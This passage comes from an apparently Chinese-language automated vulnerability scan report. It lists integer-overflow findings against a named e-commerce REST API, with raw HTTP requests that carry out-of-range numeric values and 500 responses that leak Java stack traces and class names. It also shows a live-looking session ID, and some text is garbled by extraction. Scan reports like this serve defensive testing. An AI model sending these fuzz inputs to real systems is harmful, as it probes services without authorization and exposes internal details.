t com.alibaba.dubbo.rpc.protocol.dubbo.filter.TraceFilter.invoke(TraceFilter.java:78) \n\tat
com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper$1.invoke(ProtocolFilterWrapper.java:91) \n\ta
t com.alibaba.dubbo.rpc.filter.ContextFilter.invoke(ContextFilter.java:70) \n\tat
com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper$1.invoke(ProtocolFilterWrapper.java:91) \n\ta
 t com.alibaba.dubbo.rpc.filter.GenericFilter.invoke(GenericFilter.java:132) \n\tat
com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper$1.invoke(ProtocolFilterWrapper.java:91) \n\ta
t com.alibaba.dubbo.rpc.filter.ClassLoaderFilter.invoke(ClassLoaderFilter.java:38) \n\tat
\verb|com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper$1.invoke (ProtocolFilterWrapper.java:91) \\ \verb|ntample| \\ \verb|com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper$1.invoke (ProtocolFilterWrapper.java:91) \\ \verb|ntample| \\ \verb|com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper$1.invoke (ProtocolFilterWrapper.java:91) \\ \verb|ntample| \\ \verb|com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper.java:91) \\ \verb|ntample| \\ \verb|com.alibaba.dubbo.rpc.protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Protocol.Pr
t com.alibaba.dubbo.rpc.filter.EchoFilter.invoke(EchoFilter.java:38) \n\tat
\verb|com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper \$1.invoke (ProtocolFilterWrapper.java: 91) \\ \verb| h \\ \verb| tangle | for the content of t
\verb|at com.alibaba.dubbo.common.bytecode.proxy20.batchDeleteGoods(proxy20.java) \n \texttt| tat leads to the following t
sun.reflect.GeneratedMethodAccessor871.invoke(Unknown Source)\n\tat
java.lang.reflect.Method.invoke(Method.java:498) \n\tat
org.jboss.resteasy.core.MethodInjectorImpl.invoke(MethodInjectorImpl.java:140)\n\tat
org.jboss.resteasy.core.ResourceMethodInvoker.invokeOnTarget(ResourceMethodInvoker.java:294)\n\ta
t org.jboss.resteasy.core.ResourceMethodInvok
. . .
. . .
```

变体-|4/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/goodsbatchDelete HTTP/1.1
Content-Length: 49
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsInfos": [
                 "goodsid":
                                   18446744073709551617
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:41 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Numeric value (18446744073709551617) out of range of long (-9223372036854775808 -
9223372036854775807)
 at [Source: io.netty.buffer.ByteBufInputStream@77c9f78c; line: 1, column: 47]
```

问题 10 / 16 Toc

整数溢出	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclassAddToSave
实体:	->"classid" (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/3

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 193
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "55",
                   99999999999999999999
 "classid": "
"parentcode": "04",
"classcode": "04001",
"classcode": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:05 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
```

变体-|2/3

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 194
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "55",
                  -999999999999999999999",
 "classid": "
 "parentcode": "04",
 "classcode": "04001",
"classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:05 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@28fd95b2; line: 1, column: 21] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["classid"])
```

变体-|3/3

差异: 参数 从以下位置进行控制: 2707 至: 18446744073709551617

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 测试请求和响应:

POST /goodsclass/goodsclassAddToSave HTTP/1.1

```
Content-Length: 193
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "55",
 "classid": " 18446744073709551617",
"parentcode": "04",
 "classcode": "04001",
"classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
  "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:06 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '18446744073709551617': not a
valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@6e3f11d0; line: 1, column: 21] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["classid"])
```

问题 11 / 16 Toc

整数溢出	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclassAddToSave
实体:	->"enterpriseid" (Parameter)
实体:	->"enterpriseid" (Parameter) 可能会收集敏感的调试信息
	· · · ·

变体-|1/3

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 195
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "
                       999999999999999999999",
 "classid": "2707",
 "parentcode": "04",
 "classcode": "04001",
 "classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:05 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@5d47c3d8; line: 1, column: 2] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["enterpriseid"])
```

变体-|2/3

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 196
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "
                        -99999999999999999999
 "classid": "2707",
 "parentcode": "04",
 "classcode": "04001",
```

```
"classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
"seq": "12",
 "endflag": "1",
"level": "2",
"imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:06 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@8bd7be8; line: 1, column: 2] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["enterpriseid"])
```

变体-|3/3

差异: 参数 从以下位置进行控制: 55 至: 18446744073709551617

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 195
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "
                       18446744073709551617",
 "classid": "2707",
 "parentcode": "04",
 "classcode": "04001",
 "classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:06 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '18446744073709551617': not a
valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@2ace7973; line: 1, column: 2] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["enterpriseid"])
```

问题 12 / 16 Toc

整数溢出	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsonoffdetail/updateGoodsOnOff
实体:	->"goodsonoff"[0]->"enterpriseid" (Parameter)
风险:	可能会收集敏感的调试信息
风险: 原因:	可能会收集敏感的调试信息 未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配

变体-|1/6

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 102
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid":
                                       "departmentid": 1670,
                "goodsid": 105190,
                "status": 0
        1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:17 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Numeric value (99999999999999999) out of range of long (-9223372036854775808 -
```

```
9223372036854775807)
at [Source: io.netty.buffer.ByteBufInputStream@la3c3a4d; line: 1, column: 52]
```

变体-|2/6

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 102
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid":
                                      "goodsid": 105190,
                "departmentid": 1670,
                "status": 1
       ]
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:17 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Numeric value (99999999999999999) out of range of long (-9223372036854775808 -
9223372036854775807)
at [Source: io.netty.buffer.ByteBufInputStream@635e556a; line: 1, column: 52]
```

变体-|3/6

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 103
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
```

```
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid":
                                      "departmentid": 1670,
                 "goodsid": 105190,
                "status": 0
        ]
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:17 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Numeric value (-9999999999999999) out of range of long (-9223372036854775808 -
9223372036854775807)
 at [Source: io.netty.buffer.ByteBufInputStream@2af4348a; line: 1, column: 53]
```

变体-|4/6

测试请求和响应:

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 103
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid":
                                      "goodsid": 105190,
                 "departmentid": 1670,
                "status": 1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:17 GMT
```

```
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Numeric value (-9999999999999999) out of range of long (-9223372036854775808 -
9223372036854775807)
at [Source: io.netty.buffer.ByteBufInputStream@3c29929e; line: 1, column: 53]
```

变体-|5/6

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 **测试请求和响应:**

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 102
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid":
                                       18446744073709551617,
                 "departmentid": 1670,
                 "goodsid": 105190,
                 "status": 0
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:17 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Numeric value (18446744073709551617) out of range of long (-9223372036854775808 -
9223372036854775807)
 at [Source: io.netty.buffer.ByteBufInputStream@409e96c3; line: 1, column: 52]
```

变体-|6/6

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 102
```

```
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid":
"goodsid": 105190,
                                        18446744073709551617,
                 "departmentid": 1670,
                 "status": 1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:17 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Numeric value (18446744073709551617) out of range of long (-9223372036854775808 -
9223372036854775807)
 at [Source: io.netty.buffer.ByteBufInputStream@51855fcf; line: 1, column: 52]
```

问题 13 / 16 Toc

整数溢出	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsonoffdetail/updateGoodsOnOff
实体:	Number of the state of the stat
大件:	->"goodsonoff"[0]->"goodsid" (Parameter)
风险:	->"goodsonoff"[U]->"goodsid" (Parameter) 可能会收集敏感的调试信息

变体-|1/3

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 98
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                "departmentid": 1670,
                "status": 1
       ]
}
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:17 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Numeric value (99999999999999999) out of range of long (-9223372036854775808 -
9223372036854775807)
at [Source: io.netty.buffer.ByteBufInputStream@135661b1; line: 1, column: 65]
```

变体-|2/3

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 99
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                "enterpriseid": 55,
                "departmentid": 1670,
                "status": 1
HTTP/1.1 500 Internal Server Error
```

```
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:17 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Numeric value (-9999999999999999) out of range of long (-9223372036854775808 - 9223372036854775807)
at [Source: io.netty.buffer.ByteBufInputStream@69e3d848; line: 1, column: 66]
```

变体-|3/3

差异: 参数 从以下位置进行控制: 105190 至: 18446744073709551617

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 **测试请求和响应:**

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 98
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
"goodsid": 18446744073709551617,
                 "departmentid": 1670,
                 "status": 1
                }
}
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openrestv
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:17 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Numeric value (18446744073709551617) out of range of long (-9223372036854775808 -
9223372036854775807)
 at [Source: io.netty.buffer.ByteBufInputStream@2901f363; line: 1, column: 65]
```

问题 14 / 16 Toc

整数溢出	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/updateGoodsStock
实体:	->"goodsid" (Parameter)
实体:	->"goodsid" (Parameter) 可能会收集敏感的调试信息

变体-|1/3

差异: 参数 从以下位置进行控制: 105190 至: 9999999999999999999

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 69
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
                 "goodsid":
 "stockqty": "+12",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:19 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Numeric value (9999999999999999) out of range of long (-9223372036854775808 -
9223372036854775807)
 at [Source: io.netty.buffer.ByteBufInputStream@4fcb5575; line: 1, column: 32]
```

变体-|2/3

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 70
sessionId: c5b8689a1098705cd3ffdff0d57563a1
